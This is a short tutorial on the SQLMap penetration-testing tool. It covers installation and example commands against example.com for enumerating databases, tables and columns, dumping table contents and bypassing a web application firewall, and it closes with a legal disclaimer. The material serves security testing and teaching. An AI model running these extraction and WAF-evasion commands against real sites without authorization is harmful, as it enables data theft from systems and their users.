SQLMap – SQL Injection Tool
SQLMap – SQL Injection Tool
SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in databases. It is a powerful tool used by security professionals and ethical hackers to test the security of web applications.
SQLMap Tool Features
- Automatic detection of SQL injection vulnerabilities
- Support for multiple database management systems (MySQL, PostgreSQL, Oracle, etc.)
- Database fingerprinting
- Fetching database information
- Extracting database tables, columns, and data
- Brute-force attack for password cracking
Installation of SQLMap
SQLMap is pre-installed in Kali Linux. If you are using another operating system, you can install it using the following command:
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Basic Usage
To test a website for SQL injection vulnerability, use the following command:
$ sqlmap -u "http://example.com/page.php?id=1" --dbs
This command checks whether the URL parameter id=1
is vulnerable and lists the available databases.
Extracting Tables from a Database
Once you know the database name, you can retrieve its tables:
$ sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
Extracting Columns from a Table
To list columns of a specific table:
$ sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns
Dumping Data from a Table
To retrieve all the data from a specific table:
$ sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
Bypassing WAF (Web Application Firewall)
SQLMap provides an option to bypass certain security measures:
$ sqlmap -u "http://example.com/page.php?id=1" --tamper=between
Legal disclaimer
Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws.
SQLMap is a powerful tool for security professionals to identify and exploit SQL injection vulnerabilities. However, it should be used responsibly and only for ethical hacking and penetration testing purposes with proper authorization.